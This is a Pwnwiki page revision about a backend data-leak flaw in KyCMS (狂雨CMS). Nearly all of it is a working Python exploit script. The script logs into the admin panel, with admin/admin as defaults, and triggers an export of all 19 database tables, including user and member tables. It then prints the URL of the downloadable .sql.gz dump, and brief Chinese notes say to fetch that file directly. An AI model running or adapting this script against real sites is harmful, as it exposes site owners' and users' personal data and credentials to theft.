Pwnwiki: Created page with "==EXP==

 # !/usr/bin/python3 # -*- coding:utf-8 -*- # author: Forthrglory import requests import time  def getDatabase(url,username, password): session = requests.session..."

2021-04-12T08:24:31Z

Created page with "==EXP== <pre> # !/usr/bin/python3 # -*- coding:utf-8 -*- # author: Forthrglory import requests import time def getDatabase(url,username, password): session = requests.session..."

New page

==EXP==
<pre>
# !/usr/bin/python3
# -*- coding:utf-8 -*-
# author: Forthrglory
import requests
import time

def getDatabase(url,username, password):
session = requests.session()

u = 'http://%s/admin/index/login.html' % (url)
head = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
}
data = {
'username': username,
'password': password,
'code': 1
}
session.post(u, data, headers = head)

u = 'http://%s/admin/database/export.html' % (url)
data = {
'layTableCheckbox':'on',
'tables[0]':'ky_ad',
'tables[1]':'ky_addons',
'tables[2]':'ky_bookshelf',
'tables[3]':'ky_category',
'tables[4]':'ky_collect',
'tables[5]':'ky_comment',
'tables[6]':'ky_config',
'tables[7]':'ky_crontab',
'tables[8]':'ky_link',
'tables[9]':'ky_member',
'tables[10]':'ky_menu',
'tables[11]':'ky_news',
'tables[12]':'ky_novel',
'tables[13]':'ky_novel_chapter',
'tables[14]':'ky_route',
'tables[15]':'ky_slider',
'tables[16]':'ky_template',
'tables[17]':'ky_user',
'tables[18]':'ky_user_menu'
}
t = time.strftime("%Y%m%d-%H%M%S", time.localtime())

session.post(u, data = data)

for i in range(0, 19):
u2 = 'http://%s/admin/database/export.html?id=%s&start=0' % (url, str(i))
session.get(u2)

t = 'http://' + url + '/public/database/' + t + '-1.sql.gz'
return t

if __name__ == '__main__':
u = '127.0.0.1'
username = 'admin'
password = 'admin'
t = getDatabase(u, username, password)
print(t)
</pre>

運行EXP，得到路徑(默認生成路徑為/public/database/，可在設置中修改)

直接訪問即可下載文件。

==參考==
https://xz.aliyun.com/t/7486

狂雨CMS後臺數據泄漏漏洞 - Revision history

Pwnwiki: Created page with "==EXP==
# !/usr/bin/python3 # -- coding:utf-8 -- # author: Forthrglory import requests import time def getDatabase(url,username, password): session = requests.session..."